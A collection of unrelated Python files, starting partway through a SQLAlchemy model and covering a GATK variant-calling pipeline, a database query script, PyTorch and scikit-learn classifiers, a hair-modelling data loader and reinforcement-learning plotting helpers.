    __table_args__ = (
        # unique lower case index, i.e case-insensitive unique constraint
        Index('ci_project_id_parent_parameter_name_parameter_name_key',
              project_id, func.lower(parent_parameter_name),
              func.lower(parameter_name), unique=True),
    )

    # relationships
    project = db.relationship('Project', backref=db.backref(
        'project_parameters', lazy='dynamic', passive_deletes=True))
    creator = db.relationship('User', backref=db.backref(
        'project_parameters', lazy='dynamic'),
        foreign_keys='ProjectParameter.created_by')
    account = db.relationship('Account', backref=db.backref(
        'project_parameters', lazy='dynamic'))

    def __init__(self, project_id=None, parent_parameter_name=None,
                 account_id=None, created_by=None,
                 updated_by=None, parameter_name=None,
                 *args, **kwargs):
        self.project_id = project_id
        self.parent_parameter_name = parent_parameter_name
        self.parameter_name = parameter_name
        self.account_id = account_id
        self.created_by = created_by
        self.updated_by = updated_by
        super(ProjectParameter, self).__init__(*args, **kwargs)

    def __repr__(self):
        return '<ProjectParameter %r>' % (self.row_id)


#George Marchment + Clemence Sebe
#Script GVCF
import gzip
import shutil
import os
import variables as v

#Function that does everything from gatk CreateSequenceDictionary to gatk GenotypeGVCFs
#At the end of the function we have a .vcf containing a summary of all the sample
def mainGVCF(telechargementGVCF, createBbOutput, tabFichierNom, tabFichierBam, tabSampleAlias):
	print("DEBUT SCRIPT GVCF")

	if telechargementGVCF:
		#initialisation creation fichier pour fichier de ref
		#Saving the current path
		current_path= os.getcwd()
		os.chdir(v.geneRefDossier)

		#Converting the reference sequence to .fasta format
		print("Conversion gene de reference .fsa en .fasta")
		fsa = "S288C_reference_sequence_R64-2-1_20150113.fsa"
		fasta = "S288C_reference_sequence_R64-2-1_20150113.fasta"
		cmd = "cp " + fsa + " " + fasta
		os.system(cmd)

		#Initialisation => Creates a sequence dictionary for a reference sequence
		print("Creation fichier utilse pour HaplotypeCaller")
		cmd = "gatk CreateSequenceDictionary -R " + fasta
		os.system(cmd)
		cmd = "samtools faidx " + fasta
		os.system(cmd)

		#rajouter lien pour cohort
		#fichier = open(v.donnees + "cohort.sample_map", "a")

		# .bam => .g.vcf using HaplotypeCaller
		#Extract variants for every sample
		os.chdir(current_path)
		for i in range (len(tabFichierBam)):
			print("----------------------BOUCLE HAPlOTYPECALLER----------------------", i+1 , " sur " , len(tabFichierBam))
			ref = v.geneRefDossier + fasta
			entree = v.adressePostMk + tabFichierBam[i]
			sortie = v.adresseGVCF + tabFichierNom[i] + ".g.vcf.gz"
			sortiebis = v.adresseGVCF + tabFichierNom[i]
			cmd = "gatk HaplotypeCaller -R " + ref + " -I " + entree + " -O " + sortie + " -ERC GVCF"
			os.system(cmd)
	print("END HAPLTYPECALLER")

	#rajouter lien pour cohort
	#Creating Sample map to create database
	fichier = open(v.donnees + "cohort.sample_map", "w")
	for i in range (len(tabFichierBam)):
		sortie = v.adresseGVCF + tabFichierNom[i] + ".g.vcf.gz"
		sortiebis = tabSampleAlias[i]
		ligne = sortiebis + "\t" + sortie + "\n"
		fichier.write(ligne)
	fichier.close()

	if createBbOutput:
		#create database
		cmd = "gatk GenomicsDBImport --genomicsdb-workspace-path " +v.adresseBDD + "my_database " + "--sample-name-map " + v.donnees + "cohort.sample_map" + " -L "+ v.donnees +  "chromosome.list"
		os.system(cmd)

		#Create final vcf
		cmd = "gatk GenotypeGVCFs -R " + v.geneRefDossier + "S288C_reference_sequence_R64-2-1_20150113.fasta" + " -V gendb://"+ v.adresseBDD+"my_database -O " + v.vcf + "output.vcf.gz"
		os.system(cmd)
		shutil.rmtree(v.adresseBDD + "my_database")

	#os.remove(v.donnees + "cohort.sample_map")
	print("FIN SCRIPT GVCF")


#!/usr/bin/python3
"""a script 14-model_city_fetch_by_state.py that prints
all City objects from the database hbtn_0e_14_usa"""
import sys
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from model_state import State, Base
from model_city import City

if __name__ == "__main__":
    user, pwd, db = \
        sys.argv[1], sys.argv[2], sys.argv[3]
    url = 'mysql+mysqldb://{}:{}@localhost:3306/{}'
    url = url.format(user, pwd, db)
    engine = create_engine(url, pool_pre_ping=True)
    Session = sessionmaker(bind=engine)
    with Session() as session:
        query = session.query(State, City)\
            .filter(State.id == City.state_id)\
            .order_by(City.id)\
            .all()
        for state, city in query:
            print("{}: ({}) {}".format(state.name, city.id, city.name))

    engine.dispose()


import torch
from torch import nn, optim
from torch.utils.data import DataLoader
from torchvision import transforms
from torchvision import datasets
from torch.utils.data import Dataset, DataLoader
from scipy.io import loadmat
from PIL import Image
import matplotlib.pyplot as plt
import numpy as np
import torchvision
import torchvision.transforms as transforms

batch_size = 64
image_size = 28
val_path = "SVHN/testSet"

class RNN(nn.Module):
    def __init__(self, in_dim, hidden_dim, n_layer, n_class):
        super(RNN, self).__init__()
        self.n_layer = n_layer
        self.hidden_dim = hidden_dim
        self.lstm = nn.LSTM(in_dim, hidden_dim, n_layer, batch_first=True)
        self.classifier = nn.Linear(hidden_dim, n_class)

    def forward(self, x):
        out, _ = self.lstm(x)
        out = self.classifier(out[:, -1, :])
        return out

model_path = "RNN_NMNIST_MB_SVHN.pth"
Net = torch.load(model_path)

data_transforms = {
    "train": transforms.Compose(
        [
            transforms.Grayscale(num_output_channels=1),
            transforms.Resize((image_size, image_size)),
            # transforms.RandomAffine(15),
            # transforms.ColorJitter(
            #     brightness=0.1, contrast=0.1, saturation=0.1, hue=0.1
            # ),
            # transforms.RandomRotation(15),
            transforms.ToTensor(),
        ]
    ),
    "val": transforms.Compose(
        [
            transforms.Grayscale(num_output_channels=1),
            transforms.Resize((image_size, image_size)),
            transforms.ToTensor(),
        ]
    ),
}

test_dataset = datasets.ImageFolder(
    val_path, transform=data_transforms["val"])
test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=False)

import numpy as np
Net = torch.load(model_path)
test_acc = []
for step, (img, label) in enumerate(test_loader):
    b, c, h, w = img.size()
    img = img.squeeze(1)
    out = Net(img)
    _, pred = torch.max(out, 1)
    acc = (pred == label).sum().data.item() / batch_size
    test_acc.append(acc)
print("Test accuracy:", np.sum(test_acc) / len(test_acc))

## Read img file
image_size = 28
transformer = transforms.Compose([lambda x: Image.open(x).convert('L').resize((28, 28), Image.ANTIALIAS),
                                  transforms.ToTensor(),
                                  ])
img_path = "G-Capcha Img/Test_2/0.png"
img = 1 - transformer(img_path)
plt.imshow(Image.open(img_path).convert('L'))
img = img[0].unsqueeze(0)
out = Net(img)
_, pred = torch.max(out, 1)
print("Predict Class:", pred[0].numpy())


# Author: Shiyang Jia

import os
import cv2
import numpy as np
import h5py

class Dataloader(object):
    """load data with ground truth for HairNet training and testing"""

    def __init__(self, data_path, batch_size):
        """
        Dataloader variables
        param			description				        size				type
        self.train_x 	list of training image 	   		(h, w, channel=2)	uint8 -> float64
        self.train_y    dict of ground truth        	(32, 32, x)         float64
        self.test_x     list of testing image 	   		(h, w, channel=2)	uint8 -> float64
        self.test_y		list of loss weight				(32, 32, x) 		float64
        """
        self.batch_size = batch_size
        self.train_x_dir = os.path.join(data_path, 'train_x_png')
        self.train_y_dir = os.path.join(data_path, 'train_y')
        self.test_x_dir = os.path.join(data_path, 'test_x_png')
        self.test_y_dir = os.path.join(data_path, 'test_y')
        self.pos_mean, self.pos_std, self.curv_mean, self.curv_std = get_mean_std(data_path)
        self.order = list(range(126))       # load test data first

    def load_image(self, image_path, begin, end):
        images = []
        file_list = os.listdir(image_path)
        file_list.sort()
        files = []
        for i in range(begin, end):
            files.append(file_list[self.order[i]])
        for file in files:
            img = cv2.imread(os.path.join(image_path, file), cv2.IMREAD_COLOR)
            img = img.astype(np.float64) / 255
            images.append(img[:, :, (2, 0)])  # (R, B)
        return images

    def load_gt(self, h5_dir, begin, end):
        gt = {'angle': [], 'pos': [], 'curv': [], 'weight': []}
        file_list = os.listdir(h5_dir)
        file_list.sort()
        files = []
        for i in range(begin, end):
            files.append(file_list[self.order[i]])
        for file in files:
            with h5py.File(os.path.join(h5_dir, file), 'r') as h5:
                gt['angle'].append(h5['angle'].value)
                gt['pos'].append(h5['pos'][:].reshape(32, 32, 300))
                gt['curv'].append(h5['curv'][:])
                gt['weight'].append(h5['weight'][:])
        return gt

    def flesh_batch_order(self):
        self.order = np.random.permutation(1800)    # set when training
        # self.order = list(range(1800))

    def get_train_batch(self, i):
        """used in training mode
        Args:
            i: the i-th batch according to self.order
        Return:
            encoder_input: [batch_size, 256, 256, 2]
            decoder_output: [batch_size, 32, 32, 500] -- weight + pos + curv
        """
        # load data
        n = self.batch_size
        begin, end = i * n, (i + 1)*n
        train_x = self.load_image(self.train_x_dir, begin, end)
        train_y = self.load_gt(self.train_y_dir, begin, end)

        # put all the data into big arrays
        encoder_input = np.zeros((n, 256, 256, 2), dtype=np.float64)
        decoder_output = np.zeros((n, 32, 32, 500), dtype=np.float64)    # weight + pos + curv
        for i in range(n):
            encoder_input[i] = train_x[i]
            norm_pos = (train_y['pos'][i] - self.pos_mean) / self.pos_std
            norm_curv = (train_y['curv'][i] - self.curv_mean) / self.curv_std
            decoder_output[i] = np.concatenate((train_y['weight'][i], norm_pos, norm_curv), axis=2)
        return encoder_input, decoder_output

    def get_test_data(self):
        """used in training mode as a test after each epoch"""

        test_x = self.load_image(self.test_x_dir, 0, 126)
        test_y = self.load_gt(self.test_y_dir, 0, 126)

        # put all the data into big arrays
        n = len(test_x)
        encoder_input = np.zeros((n, 256, 256, 2), dtype=np.float64)
        decoder_output = np.zeros((n, 32, 32, 500), dtype=np.float64)
        for i in range(n):
            encoder_input[i] = test_x[i]
            norm_pos = (test_y['pos'][i] - self.pos_mean) / self.pos_std
            norm_curv = (test_y['curv'][i] - self.curv_mean) / self.curv_std
            decoder_output[i] = np.concatenate((test_y['weight'][i], norm_pos, norm_curv), axis=2)

        return encoder_input, decoder_output, np.array(test_y['angle'])

def compute_mean_std(data_dir):
    """
    compute position mean/std and curvature mean/std among training samples
    store in mean_std.h5 file under data_dir and return
    """
    train_y_dir = os.path.join(data_dir, 'train_y')
    file_list = os.listdir(train_y_dir)

    # compute mean
    sum_pos = np.zeros((32, 32, 300), dtype=np.float64)
    sum_curv = np.zeros((32, 32, 100), dtype=np.float64)
    for file in file_list:
        with h5py.File(os.path.join(train_y_dir, file), 'r') as h5:
            sum_pos += h5['pos'][:].reshape(32, 32, 300)
            sum_curv += h5['curv'][:]

    pos_mean = sum_pos / 1800
    curv_mean = sum_curv / 1800

    # compute std
    sum_square_pos = np.zeros((32, 32, 300), dtype=np.float64)
    sum_square_curv = np.zeros((32, 32, 100), dtype=np.float64)

    for file in file_list:
        with h5py.File(os.path.join(train_y_dir, file), 'r') as h5:
            sum_square_pos += np.square(h5['pos'][:].reshape(32, 32, 300) - pos_mean)
            sum_square_curv += np.square(h5['curv'][:] - curv_mean)

    pos_std = np.sqrt(sum_square_pos / 1800)
    curv_std = np.sqrt(sum_square_curv / 1800)
    pos_std[pos_std == 0] = 1   # skip 0
    curv_std[curv_std == 0] = 1

    # write into h5 file under data_dir
    with h5py.File(os.path.join(data_dir, 'mean_std.h5'), 'w') as h5:
        h5.create_dataset('pos_mean', data=pos_mean)
        h5.create_dataset('pos_std', data=pos_std)
        h5.create_dataset('curv_mean', data=curv_mean)
        h5.create_dataset('curv_std', data=curv_std)

    return pos_mean, pos_std, curv_mean, curv_std

def get_mean_std(data_dir):
    """Return position & curvature mean, std (computed / loaded)"""

    file_path = os.path.join(data_dir, 'mean_std.h5')
    if os.path.exists(file_path):
        # read in mean/std
        with h5py.File(file_path, 'r') as h5:
            pos_mean = h5['pos_mean'][:]
            pos_std = h5['pos_std'][:]
            curv_mean = h5['curv_mean'][:]
            curv_std = h5['curv_std'][:]
        return pos_mean, pos_std, curv_mean, curv_std
    else:
        return compute_mean_std(data_dir)

def load_root(data_dir):
    """load hair root position and scalp-coordinate mask
    Args:
        data_dir: data_path/root_param.h5
    Return:
         root: (32, 32, 3) root position
         mask: [bool] (32, 32) true if there grows a strand
    """
    file_path = os.path.join(data_dir, 'root_param.h5')
    with h5py.File(file_path, 'r') as h5:
        root = h5['pos'][:]
        short_mask = h5['mask'][:]
        mask = short_mask > 0

    # put root in 32x32 array
    grid_root = np.zeros((32, 32, 3), dtype=float)
    idx = 0
    for i in range(32):
        for j in range(32):
            if mask[i, j]:
                grid_root[i, j] = root[idx]
                idx += 1

    return grid_root, mask

def load_real_image(data_dir):
    """ load test data
    Return:
        image_arr: (n, 256, 256, 2) numpy array
    """
    images = []
    files = os.listdir(data_dir)
    for file in files:
        img = cv2.imread(os.path.join(data_dir, file), cv2.IMREAD_COLOR)
        img = img.astype(np.float64) / 255
        images.append(img[:, :, (2, 0)])  # (R, B)

    # put all images into big array
    n = len(images)
    image_arr = np.zeros((n, 256, 256, 2), dtype=np.float64)
    for i in range(n):
        image_arr[i] = images[i]

    return image_arr


import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import numpy as np
from sklearn.datasets import make_regression
from sklearn.neighbors import KNeighborsClassifier
from sklearn.ensemble import BaggingClassifier, RandomForestClassifier
from Librairie_version16062020 import*
import argparse
import functools
import random
import scipy.stats
from scipy import *

parser = argparse.ArgumentParser()
parser.add_argument('--fich', metavar='L', type=str, nargs='+',
                    help='le dataset')
parser.add_argument('--na', metavar='N', type=str, nargs='+',
                    help='gestion na')
parser.add_argument('--target', metavar='T', type=str, nargs='+',
                    help='target attribut')
parser.add_argument('--sep', metavar='L', type=str, nargs='+',
                    help='le séparateur')
parser.add_argument('--att', nargs='+', type=str)

args = parser.parse_args()

fich=tuple(args.fich)[0]

se=tuple(args.sep)[0]

#Lecture du fichier csv selon le séarateur
if (se=="space"):
	data = pd.read_csv('/home/ali/stage/public/clustering/datasets/'+fich,sep ='\s+')
elif (se=="tab"):
	data = pd.read_csv('/home/ali/stage/public/clustering/datasets/'+fich,sep ='\t')
elif (se=="comma"):
	data = pd.read_csv('/home/ali/stage/public/clustering/datasets/'+fich,sep =',')
elif (se=="semicolon"):
	data = pd.read_csv('/home/ali/stage/public/clustering/datasets/'+fich,sep =';')
else:
	data = pd.read_csv('/home/ali/stage/public/clustering/datasets/'+fich,sep =':')

fichier = open("tmp_cla2.txt","r")
fichier2 = open("att_values.txt","r")
numb_att = fichier.readline()

fichier2.readline()
fichier2.readline()

#Initiation de la liste des caractéristiques
col = []

#Initiation de la liste des valeurs des caractéristiques
val = []

for i in range (int(numb_att)):
    col.append(fichier.readline())
    val.append(fichier2.readline())

for i in range (int(numb_att)):
    col[i]=col[i][:-1]
    val[i]=val[i][:-1]

#Suppression de la valeur donnée au Target
for i in range (int(numb_att)):
    if (col[i]==tuple(args.target)[0][:-1]):
        val.pop(i)

for i in range (len(val)):
    val[i]=float(val[i])

data = data[col]

#Gestion des valeurs manquantes selon la méthode choisie par l'utilisateur
if(tuple(args.na)[0]=="remplacer"):
    for col in data.columns:
        data[col]=data[col].fillna(value=data[col].mean())
else:
    data = data.dropna(axis=0)

X = data

#Séparation du Target du reste des caractéristiques
y = data[tuple(args.target)[0][:-1]]

X = data.drop([tuple(args.target)[0][:-1]],axis=1)

#Passage aux matrices Numpy
Y2 = np.array(y)

Y2=Y2.reshape(Y2.shape[0], 1)

X2=np.array(X).reshape(Y2.shape[0],int(numb_att)-1)

M = np.hstack((np.ones(Y2.shape),X))

theta = np.random.randn(int(numb_att), 1)

t1= np.transpose(M).dot(M)
t2= np.transpose(Y2).dot(M)
t3= np.linalg.inv(t1)
theta_final=t3.dot(np.transpose(t2))

def sigmoid(x):
    return 1 / (1 + np.exp(-x))

def net_input(theta, x):
    return np.dot(x, theta)

def probability(theta, x):
    return sigmoid(net_input(theta, x))

def predict(x):
    return probability(theta_final, x)

def accuracy(x, actual_classes, probab_threshold=0.5):
    predicted_classes = (predict(x) >=
                         probab_threshold).astype(int)
    predicted_classes = predicted_classes.flatten()
    accuracy = np.mean(predicted_classes == actual_classes)
    return accuracy

x = np.array(val).reshape(1,int(numb_att)-1)
val = [1] + val
x2 = np.array(val).reshape(1,int(numb_att))
print(round(accuracy(M, Y2),5))
print([int(predict(x2)[0][0]>=0.5)])

#Les plus proches voisins
model = KNeighborsClassifier()
model.fit(X,y)
print(round(model.score(X,y),5))
print(model.predict(x))

#Bagging Classifier
model2 = BaggingClassifier(base_estimator=KNeighborsClassifier(),n_estimators=100)
model2.fit(X,y)
print(round(model2.score(X,y),5))
print(model2.predict(x))

#Random Forest
model3 = RandomForestClassifier(n_estimators=100)
model3.fit(X,y)
print(round(model3.score(X,y),5))
print(model3.predict(x))


import cv2
import numpy as np
import matplotlib.pyplot as plt

def process_state_image(state):
    state = cv2.cvtColor(state, cv2.COLOR_BGR2GRAY)
    state = state.astype(float)
    state /= 255.0
    return state

def generate_state_frame_stack_from_queue(deque):
    frame_stack = np.array(deque)
    # Move stack dimension to the channel dimension (stack, x, y) -> (x, y, stack)
    return np.transpose(frame_stack, (1, 2, 0))

def plotLearning(x, scores, epsilons, filename, lines=None):
    fig = plt.figure()
    ax = fig.add_subplot(111, label="1")
    ax2 = fig.add_subplot(111, label="2", frame_on=False)

    ax.plot(x, epsilons, color="C0")
    ax.set_xlabel("Game", color="C0")
    ax.set_ylabel("Epsilon", color="C0")
    ax.tick_params(axis='x', colors="C0")
    ax.tick_params(axis='y', colors="C0")

    N = len(scores)
    running_avg = np.empty(N)
    for t in range(N):
	    running_avg[t] = np.mean(scores[max(0, t-20):(t+1)])

    ax2.scatter(x, running_avg, color="C1")
    ax2.axes.get_xaxis().set_visible(False)
    ax2.yaxis.tick_right()
    ax2.set_ylabel('Score', color="C1")
    ax2.yaxis.set_label_position('right')
    ax2.tick_params(axis='y', colors="C1")

    if lines is not None:
        for line in lines:
            plt.axvline(x=line)

    plt.savefig(filename)